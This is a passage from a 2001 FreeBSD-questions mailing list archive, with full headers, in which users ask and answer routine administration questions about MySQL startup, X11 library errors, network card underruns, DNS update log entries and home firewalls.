after installation of a > window manager, is there? What we call window managers don't leave a mess, AFAIK. KDE (and probably GNOME) (which we (?) call "desktop managers" or "desktop systems") do use a lot of config-related files. As for reasons, I can only say that various designers have various schemes of organizing data. Many people like to use the filesystem as part of their data structures for a number of good and bad reasons I won't bother with. As for fixing KDE's mess, I can only remember removing one big/deep directory. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 14:49: 9 2001 Delivered-To: freebsd-questions@freebsd.org Received: from webs1.accretive-networks.net (webs1.accretive-networks.net [207.246.154.13]) by hub.freebsd.org (Postfix) with ESMTP id C109237B405 for ; Wed, 21 Nov 2001 14:49:05 -0800 (PST) Received: from localhost (davidk@localhost) by webs1.accretive-networks.net (8.11.1/8.11.3) with ESMTP id fALMmlQ17029; Wed, 21 Nov 2001 14:48:47 -0800 (PST) Date: Wed, 21 Nov 2001 14:48:47 -0800 (PST) From: David Kirchner X-X-Sender: To: Jonathan Hilgeman Cc: "'Daniel Frazier'" , "'freebsd-questions@freebsd.org'" Subject: RE: Log Out Other Users In-Reply-To: <5D90F61EB6FDD411836500508B137F1AA3F06E@mailsvr.ecx.com> Message-ID: <20011121144748.K15780-100000@localhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 21 Nov 2001, Jonathan Hilgeman wrote: > Hmmm, I installed slay, but I still have a user in "who" that has no > processes whatsoever. The "who" list doesn't seem to be stuck, either. If I > log out, I can see that it has updated the "who" list. > > I don't really want to go to shutdown -k - that seems a bit desperate and > this is a production box. > > - Jonathan That's one of the problems with 'who' - it requires that the processes clean up after themselves. You can do a couple of things to clear them though. The easy way (the way I do it ;)) is just to log in to your box a bunch of times, until you replace all of the entries in 'who' with yourself, and then log 'em out properly. It's lame, but it works. ;) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 15: 4:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mx0.ecxnetwork.net (mx0.ecxnetwork.net [208.144.33.2]) by hub.freebsd.org (Postfix) with ESMTP id EAEF537B417 for ; Wed, 21 Nov 2001 15:04:45 -0800 (PST) Received: from mailsvr.ecx.com ([208.144.33.135]) by mx0.ecxnetwork.net (8.11.3/8.11.3) with ESMTP id fALMeRp12369 for ; Wed, 21 Nov 2001 14:40:27 -0800 (PST) (envelope-from JHilgeman@ecx.com) Received: by mailsvr.ecx.com with Internet Mail Service (5.5.2653.19) id ; Wed, 21 Nov 2001 15:03:13 -0800 Message-ID: <5D90F61EB6FDD411836500508B137F1AA3F071@mailsvr.ecx.com> From: Jonathan Hilgeman To: "'freebsd-questions@freebsd.org'" Subject: Starting a Process Without Tying Yourself To It Date: Wed, 21 Nov 2001 15:03:06 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I want to start the mySQL daemon, but I don't want to tie myself to that process. I've tried: /usr/local/mysql/bin/safe_mysqld And it just sits there after it starts. And I've tried: /usr/local/mysql/bin/safe_mysqld & I can go back to the shell after that, but it seems to just be running as a background job, still tied to me. How can I start it by itself and just let it keep running by itself (as if i had rebooted and the system just started it)? - Jonathan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 15: 7:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.fibertel.com.ar (mta2.fibertel.com.ar [24.232.0.162]) by hub.freebsd.org (Postfix) with ESMTP id 5A56B37B405 for ; Wed, 21 Nov 2001 15:07:12 -0800 (PST) Received: from yagbols (24.232.186.96) by mail.fibertel.com.ar (5.5.034) id 3BF23C4A0015D7D4 for freebsd-questions@FreeBSD.org; Wed, 21 Nov 2001 20:07:40 -0300 Message-Id: <3.0.6.32.20011121200539.007a2650@pop.fibertel.com.ar> X-Sender: pongkee@pop.fibertel.com.ar X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 21 Nov 2001 20:05:39 -0300 To: freebsd-questions@FreeBSD.org From: "Noel V. Balansag" Subject: help Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi. everytime i try to 'startx', i get an error message ( /usr/libexec/ld-elf.so.1:Shared Object "libXpm.so.4" not found ). this occurred after i first moved the contents of X11R6 to a backup folder, then installed XFree86 4.1.0 (didn't run),then uninstalled version4.1.0, then moved back the contents to the original folder. i already tried to re-install the whole XFree863.3.6 distribution, and gnome with sawfish, but i still get the same error. please help. i don't want to re-install the whole thing again just to correct this. tia. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 15: 7:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mta02-svc.ntlworld.com (mta02-svc.ntlworld.com [62.253.162.42]) by hub.freebsd.org (Postfix) with ESMTP id 8C27737B416 for ; Wed, 21 Nov 2001 15:07:47 -0800 (PST) Received: from lungfish.ntlworld.com ([62.253.144.198]) by mta02-svc.ntlworld.com (InterMail vM.4.01.03.13 201-229-121-113) with ESMTP id <20011121230745.MPJF14383.mta02-svc.ntlworld.com@lungfish.ntlworld.com>; Wed, 21 Nov 2001 23:07:45 +0000 Received: from boog.goatsucker.org (boog.goatsucker.org [192.168.1.3]) by lungfish.ntlworld.com (8.11.3/8.11.3) with ESMTP id fALN7Qn05699; Wed, 21 Nov 2001 23:07:26 GMT (envelope-from scott@boog.goatsucker.org) Received: (from scott@localhost) by boog.goatsucker.org (8.9.3/8.9.3) id XAA05174; Wed, 21 Nov 2001 23:06:55 GMT (envelope-from scott) Date: Wed, 21 Nov 2001 23:06:55 +0000 From: Scott Mitchell To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: Error on xl0 Message-ID: <20011121230655.B307@localhost> References: <010b01c172d6$186032d0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <010b01c172d6$186032d0$0a00000a@atkielski.com>; from anthony@freebie.atkielski.com on Wed, Nov 21, 2001 at 10:47:18PM +0100 X-Operating-System: FreeBSD 4.1-RELEASE i386 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 10:47:18PM +0100, Anthony Atkielski wrote: > What does this error message mean on the console: > > xl0: transmission error: 90 > xl0: tx underrun, increasing tx start threshold to 120 bytes At a guess, it means your Ethernet card ran out of data to send partway through a packet. I imagine it starts transmitting as soon as it has x bytes of a packet rather than waiting for the whole thing, and for some reason the rest of these packets wasn't delivered to it in time. The driver apparently increased the value of x in an attempt to prevent this from happening again. > It occured three times in a row while I was doing make install for fvwm2. A lack of bandwidth somewhere in your system could cause this kind of thing... were you generating a lot of network traffic and hammering your disk(s) at the same time with the fvwm compile? Was the machine otherwise busy somehow? I believe from previous exchanges that you're running a board with a VIA 686 southbridge -- these *are* known to have issues with data corruption and sensitivity wrt what's plugged in where on the PCI bus. http://www.viahardware.com/ has the best FAQ on the subject that I've found. There may be other equally plausible explanations, but I don't think we have sufficient information to make a definitive judgement. HTH, Scott -- =========================================================================== Scott Mitchell | PGP Key ID | "Eagles may soar, but weasels Cambridge, England | 0x54B171B9 | don't get sucked into jet engines" scott.mitchell@mail.com | 0xAA775B8B | -- Anon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 15: 8:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ns1.globalsurf.net (ns1.globalsurf.net [216.115.128.12]) by hub.freebsd.org (Postfix) with ESMTP id 8CF7037B405 for ; Wed, 21 Nov 2001 15:08:15 -0800 (PST) Received: from BIGMOUSE3 (cx688555-a.btnrug1.la.home.com [24.248.212.193]) by ns1.globalsurf.net (8.11.5/8.11.5) with SMTP id fALNYrU20515 for ; Wed, 21 Nov 2001 17:34:54 -0600 (CST) Message-ID: <002a01c172e1$6b8b8bc0$0500a8c0@BIGMOUSE3> From: "Walter Whitesell II" To: Subject: log entrys Date: Wed, 21 Nov 2001 17:08:22 -0600 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0027_01C172AF.1FDCECA0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0027_01C172AF.1FDCECA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable We have these log entrys in our messages logfile do you know what it = might mean? Nov 21 04:55:56 ns1 named[82]: unapproved update from = [65.202.13.36].1194 for microlab.com Nov 21 04:57:34 ns1 named[82]: unapproved update from = [65.202.13.36].1220 for microlab.com Nov 21 04:58:01 ns1 named[82]: unapproved update from = [65.202.13.36].1240 for microlab.com Nov 21 04:58:43 ns1 named[82]: unapproved update from = [65.202.13.36].1250 for microlab.com Nov 21 04:59:32 ns1 named[82]: unapproved update from = [65.202.13.36].1284 for microlab.com Nov 21 05:00:04 ns1 named[82]: unapproved update from = [65.202.13.36].1330 for microlab.com Nov 21 05:00:43 ns1 named[82]: unapproved update from = [65.202.13.36].1369 for microlab.com Nov 21 05:01:24 ns1 named[82]: unapproved update from = [65.202.13.36].1403 for microlab.com Nov 21 05:02:04 ns1 named[82]: unapproved update from = [65.202.13.36].1439 for microlab.com Nov 21 05:02:48 ns1 named[82]: unapproved update from = [65.202.13.36].1476 for microlab.com Is someone trying to be sneaky? microlab.com is a domain name that we = host on our server. Walter Whitesell ------=_NextPart_000_0027_01C172AF.1FDCECA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
We have these log entrys in our = messages=20 logfile do you know what it might mean?
 
Nov 21 04:55:56 ns1 named[82]: = unapproved update=20 from [65.202.13.36].1194 for microlab.com
Nov 21 04:57:34 ns1 = named[82]:=20 unapproved update from [65.202.13.36].1220 for microlab.com
Nov 21 = 04:58:01=20 ns1 named[82]: unapproved update from [65.202.13.36].1240 for=20 microlab.com
Nov 21 04:58:43 ns1 named[82]: unapproved update from=20 [65.202.13.36].1250 for microlab.com
Nov 21 04:59:32 ns1 named[82]:=20 unapproved update from [65.202.13.36].1284 for microlab.com
Nov 21 = 05:00:04=20 ns1 named[82]: unapproved update from [65.202.13.36].1330 for=20 microlab.com
Nov 21 05:00:43 ns1 named[82]: unapproved update from=20 [65.202.13.36].1369 for microlab.com
Nov 21 05:01:24 ns1 named[82]:=20 unapproved update from [65.202.13.36].1403 for microlab.com
Nov 21 = 05:02:04=20 ns1 named[82]: unapproved update from [65.202.13.36].1439 for=20 microlab.com
Nov 21 05:02:48 ns1 named[82]: unapproved update from=20 [65.202.13.36].1476 for microlab.com
Is someone trying to be = sneaky? microlab.com=20 is a domain name that we host on our server.
 
Walter Whitesell

 ------=_NextPart_000_0027_01C172AF.1FDCECA0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 15:13: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from solomon.io.com (solomon.io.com [199.170.88.24]) by hub.freebsd.org (Postfix) with ESMTP id 8C06637B416 for ; Wed, 21 Nov 2001 15:13:05 -0800 (PST) Received: from aus-as3-091.io.com (aus-as3-091.io.com [208.2.106.91]) by solomon.io.com (8.11.2/8.11.2) with ESMTP id fALND3X03800 for ; Wed, 21 Nov 2001 17:13:03 -0600 Date: Wed, 21 Nov 2001 17:14:46 -0600 (CST) From: Lars Eighner X-X-Sender: lars@dumpster.io.com Reply-To: Lars Eighner To: questions@FreeBSD.org Subject: Re: home pc use In-Reply-To: Message-ID: <20011121171140.X12614-100000@dumpster.io.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 21 Nov 2001, Gary W. Swearingen wrote: >It doesn't allow me to run XEmacs or a good web browser. XEmacs runs beautifully from the command line - in fact, works better from the command line than vanilla emacs - and so does lynx, which with a little hacking of svgalib and zgv does graphics just fine, thank you. -- Lars Eighner eighner@io.com http://www.io.com/~eighner/index.html 700 Hearn #101 Austin TX 78703 (512)474-1920 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 15:20:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailin7.bigpond.com (mailin7.bigpond.com [139.134.6.95]) by hub.freebsd.org (Postfix) with ESMTP id 2EE6F37B417 for ; Wed, 21 Nov 2001 15:20:12 -0800 (PST) Received: from h204.vicyouth.com ([144.135.24.81]) by mailin7.bigpond.com (Netscape Messaging Server 4.15) with SMTP id GN6BSP00.GC7; Thu, 22 Nov 2001 09:26:49 +1000 Received: from 144.138.56.204 ([144.138.56.204]) by bwmam05.mailsvc.email.bigpond.com(MailRouter V2.9k 8335/19249831); 22 Nov 2001 09:20:04 Message-Id: <5.0.0.25.2.20011122101151.00a73540@vicyouth.com> X-Sender: jacob@vicyouth.com X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Thu, 22 Nov 2001 10:18:54 -0800 To: freebsd-questions@freebsd.org From: Jacob Rhoden Subject: php/apache/mysql incompatibilities - more info Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I send this information the other day, But I will send it again - Because apache 1.3.12 has some d.o.s flaws, I have had to upgrade a working niceley 4.3-STABLE system. So what I have is: mod_php4-4.0.6_5 mysql-client-3.23.43 mysql-server-3.23.43 apache_1.3.22 They all install ok no matter what order I install them, but apache will not start with the following error: Syntax error on line 56 of /usr/local/etc/apache/httpd.conf: Cannot load /usr/local/libexec/apache/libphp4.so into server: /usr/local/lib/mysql/libmysqlclient.so.10: Undefined symbol "strtoll" It appears to me to be a problem with libmysqlclient.so - And I have been searching for info related to that and strtoll online and on mysql.com to no avail. Any ideas would be really appreciated because I suspect I may not be the only person who may end up with this problem. Regards, Jacob Rhoden "As for me and my house, we Jacob Rhoden will serve the Lord" jj@f3z.net (Joshua 24:15) 0403 788 386 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 15:22:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fremont.bolingbroke.com (adsl-216-102-90-210.dsl.snfc21.pacbell.net [216.102.90.210]) by hub.freebsd.org (Postfix) with ESMTP id 012B937B405 for ; Wed, 21 Nov 2001 15:21:50 -0800 (PST) Received: from fremont.bolingbroke.com (fremont.bolingbroke.com [216.102.90.210]) by fremont.bolingbroke.com (8.12.1/8.12.1) with ESMTP id fALNLn20081837 for ; Wed, 21 Nov 2001 15:21:49 -0800 (PST) Date: Wed, 21 Nov 2001 15:21:49 -0800 (PST) From: Ken Bolingbroke To: FreeBSD Questions Subject: Re: Error on xl0 In-Reply-To: <010b01c172d6$186032d0$0a00000a@atkielski.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I hestitate to reply to this after all that inane flooding recently, but... Just by plugging the error message in google.com, I get a whole list of hits suggesting various possible solutions. Have you tried any of these? If so, you might want to specify what you've tried and what happened from that. Ken Bolingbroke hacker@bolingbroke.com On Wed, 21 Nov 2001, Anthony Atkielski wrote: > What does this error message mean on the console: > > xl0: transmission error: 90 > xl0: tx underrun, increasing tx start threshold to 120 bytes > > It occured three times in a row while I was doing make install for fvwm2. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 15:23: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mta07-svc.ntlworld.com (mta07-svc.ntlworld.com [62.253.162.47]) by hub.freebsd.org (Postfix) with ESMTP id F409137B405 for ; Wed, 21 Nov 2001 15:22:59 -0800 (PST) Received: from lungfish.ntlworld.com ([62.253.152.144]) by mta07-svc.ntlworld.com (InterMail vM.4.01.03.13 201-229-121-113) with ESMTP id <20011121232258.LOZY692.mta07-svc.ntlworld.com@lungfish.ntlworld.com>; Wed, 21 Nov 2001 23:22:58 +0000 Received: from boog.goatsucker.org (boog.goatsucker.org [192.168.1.3]) by lungfish.ntlworld.com (8.11.3/8.11.3) with ESMTP id fALNMun05777; Wed, 21 Nov 2001 23:22:56 GMT (envelope-from scott@boog.goatsucker.org) Received: (from scott@localhost) by boog.goatsucker.org (8.9.3/8.9.3) id XAA05411; Wed, 21 Nov 2001 23:22:26 GMT (envelope-from scott) Date: Wed, 21 Nov 2001 23:22:25 +0000 From: Scott Mitchell To: Jonathan Hilgeman Cc: "'freebsd-questions@freebsd.org'" Subject: Re: Starting a Process Without Tying Yourself To It Message-ID: <20011121232225.E307@localhost> References: <5D90F61EB6FDD411836500508B137F1AA3F071@mailsvr.ecx.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <5D90F61EB6FDD411836500508B137F1AA3F071@mailsvr.ecx.com>; from JHilgeman@ecx.com on Wed, Nov 21, 2001 at 03:03:06PM -0800 X-Operating-System: FreeBSD 4.1-RELEASE i386 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 03:03:06PM -0800, Jonathan Hilgeman wrote: > I want to start the mySQL daemon, but I don't want to tie myself to that > process. > > I've tried: > /usr/local/mysql/bin/safe_mysqld > > And it just sits there after it starts. > > And I've tried: > /usr/local/mysql/bin/safe_mysqld & > > I can go back to the shell after that, but it seems to just be running as a > background job, still tied to me. > > How can I start it by itself and just let it keep running by itself (as if i > had rebooted and the system just started it)? Did you install it from the port (or package)? If so, /usr/local/etc/rc.d/mysql-server.sh start should do the trick. That script will also be run at boot time. Scott -- =========================================================================== Scott Mitchell | PGP Key ID | "Eagles may soar, but weasels Cambridge, England | 0x54B171B9 | don't get sucked into jet engines" scott.mitchell@mail.com | 0xAA775B8B | -- Anon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 15:38:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web14309.mail.yahoo.com (web14309.mail.yahoo.com [216.136.224.59]) by hub.freebsd.org (Postfix) with SMTP id C56E537B418 for ; Wed, 21 Nov 2001 15:38:09 -0800 (PST) Message-ID: <20011121233809.94395.qmail@web14309.mail.yahoo.com> Received: from [203.94.135.34] by web14309.mail.yahoo.com via HTTP; Wed, 21 Nov 2001 23:38:09 GMT Date: Wed, 21 Nov 2001 23:38:09 +0000 (GMT) From: =?iso-8859-1?q?shanon=20loveridge?= Subject: FreeBSD as a Firewall To: freebsd-questions@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ok I am thinking about setting up a P120 as a firewall for my home network and I was wondering if the computer will be fast enough for this or if there will be a noticable drop in performance. Also would OpenBSD be better suited for this as it is ment to focus on security. Thanks people __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 15:46:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from maile.telia.com (maile.telia.com [194.22.190.16]) by hub.freebsd.org (Postfix) with ESMTP id C049A37B418 for ; Wed, 21 Nov 2001 15:46:10 -0800 (PST) Received: from d1o913.telia.com (d1o913.telia.com [195.252.44.241]) by maile.telia.com (8.11.6/8.11.6) with ESMTP id fALNk8G05532 for ; Thu, 22 Nov 2001 00:46:09 +0100 (CET) Received: from ertr1013.student.uu.se (h185n2fls20o913.telia.com [212.181.163.185]) by d1o913.telia.com (8.8.8/8.8.8) with SMTP id AAA17293 for ; Thu, 22 Nov 2001 00:46:08 +0100 (CET) Received: (qmail 16940 invoked by uid 1001); 21 Nov 2001 23:46:06 -0000 Date: Thu, 22 Nov 2001 00:46:06 +0100 From: Erik Trulsson To: shanon loveridge Cc: freebsd-questions@FreeBSD.ORG Subject: Re: FreeBSD as a Firewall Message-ID: <20011121234606.GA14744@student.uu.se> Mail-Followup-To: shanon loveridge , freebsd-questions@FreeBSD.ORG References: <20011121233809.94395.qmail@web14309.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011121233809.94395.qmail@web14309.mail.yahoo.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 11:38:09PM +0000, shanon loveridge wrote: > Ok I am thinking about setting up a P120 as a firewall > for my home network and I was wondering if the > computer will be fast enough for this or if there will > be a noticable drop in performance. Also would OpenBSD > be better suited for this as it is ment to focus on > security. Unless you have a really fast connection to the outside world a P120 should be more than enough. (Just FYI I am using an old 386SX/33 as a firewall and it works just fine.) I don't think OpenBSD would be better for this. Probably just as good but not better. Their focus on security is primarily in making sure that there are no security problems with the OS itself. This does not mean that they have a better firewall. -- Erik Trulsson ertr1013@student.uu.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 16: 5:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f157.law8.hotmail.com [216.33.241.157]) by hub.freebsd.org (Postfix) with ESMTP id A5E0D37B417 for ; Wed, 21 Nov 2001 16:05:41 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 21 Nov 2001 16:05:41 -0800 Received: from 209.226.241.119 by lw8fd.law8.hotmail.msn.com with HTTP; Thu, 22 Nov 2001 00:05:41 GMT X-Originating-IP: [209.226.241.119] From: "Pierre-Luc Drouin" To: t3xt@sympatico.ca Cc: freebsd-questions@freebsd.org Subject: Re: ide-scsi emulation Date: Thu, 22 Nov 2001 00:05:41 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Message-ID: X-OriginalArrivalTime: 22 Nov 2001 00:05:41.0574 (UTC) FILETIME=[6C768E60:01C172E9] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ide-scsi emulation doesn't seem exist in FreeBSD at this time... On cdrecord.org, there is a section for ide drives and it says ide drives cannot be used in FreeBSD. Try burncd. Perhaps it will work... >From: Phil R >To: freebsd-questions@freebsd.org >Subject: ide-scsi emulation >Date: Wed, 21 Nov 2001 15:38:42 -0500 > >How to enable ide-scsi emulation in FreeBSD 4.3 >that i can use >#cdrecord -scanbus? > >Thanks folks! > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message _________________________________________________________________ Téléchargez MSN Explorer gratuitement à l'adresse http://explorer.msn.fr/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 16:10:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from itouch.co.nz (itouch.co.nz [203.99.66.188]) by hub.freebsd.org (Postfix) with ESMTP id CFA3C37B418 for ; Wed, 21 Nov 2001 16:10:32 -0800 (PST) Received: from jonc.itouch ([192.168.2.21]) by itouch.co.nz with esmtp (Exim 3.33 #1) id 166hRi-000Jrg-00; Thu, 22 Nov 2001 13:10:26 +1300 Received: (from jonc@localhost) by jonc.itouch (8.11.6/8.11.6) id fAM0AMZ91781; Thu, 22 Nov 2001 13:10:22 +1300 (NZDT) (envelope-from jonc) Date: Thu, 22 Nov 2001 13:10:21 +1300 From: Jonathan Chen To: Walter Whitesell II Cc: freebsd-questions@freebsd.org Subject: Re: log entrys Message-ID: <20011122131021.A91710@jonc.itouch> References: <002a01c172e1$6b8b8bc0$0500a8c0@BIGMOUSE3> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <002a01c172e1$6b8b8bc0$0500a8c0@BIGMOUSE3>; from walter@globalsurf.net on Wed, Nov 21, 2001 at 05:08:22PM -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 05:08:22PM -0600, Walter Whitesell II wrote: > We have these log entrys in our messages logfile do you know what it might mean? > > Nov 21 04:55:56 ns1 named[82]: unapproved update from [65.202.13.36].1194 for microlab.com > Nov 21 04:57:34 ns1 named[82]: unapproved update from [65.202.13.36].1220 for microlab.com Very likely, some Windows host is querying your DNS for all hosts in its domain. -- Jonathan Chen ----------------------------------------------------------------------- "One, with God, is always a majority, but many a martyr has been burned at the stake while the votes were being counted." -- Thomas B. Reed To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 16:40:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailin9.bigpond.com (mailin9.bigpond.com [139.134.6.86]) by hub.freebsd.org (Postfix) with ESMTP id E3F6537B416 for ; Wed, 21 Nov 2001 16:40:29 -0800 (PST) Received: from desktoppc ([144.135.24.75]) by mailin9.bigpond.com (Netscape Messaging Server 4.15) with SMTP id GN6FIF00.C39 for ; Thu, 22 Nov 2001 10:47:03 +1000 Received: from 144.138.91.14 ([144.138.91.14]) by bwmam03.mailsvc.email.bigpond.com(MailRouter V2.9k 8323/16884108); 22 Nov 2001 10:40:18 From: "Grant Wilkins" To: Subject: Bullant Remote software Date: Thu, 22 Nov 2001 10:35:30 +1000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, Can you please inform me of the steps required to run the Bullant Remote software (more info @ www.bullant.com) on the FreeBSD O/S. The Bullant Remote is designed to run on Win32 O/S, but is releasing a Linux version dubbed 'Red Hat' in Feb 2002. Thanks, Grant To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 16:45:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from indigo.quadrant.net (indigo.quadrant.net [207.195.92.9]) by hub.freebsd.org (Postfix) with ESMTP id 832B737B41A for ; Wed, 21 Nov 2001 16:45:36 -0800 (PST) Received: from git2000 (56K77.quadrant.net [207.195.92.77]) by indigo.quadrant.net (8.9.1/8.9.1) with SMTP id SAA29055 for ; Wed, 21 Nov 2001 18:45:29 -0600 (CST) From: "Scott Gerhardt" To: "FreeBSD" Subject: Periodic Daily Date: Wed, 21 Nov 2001 18:48:18 -0600 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: 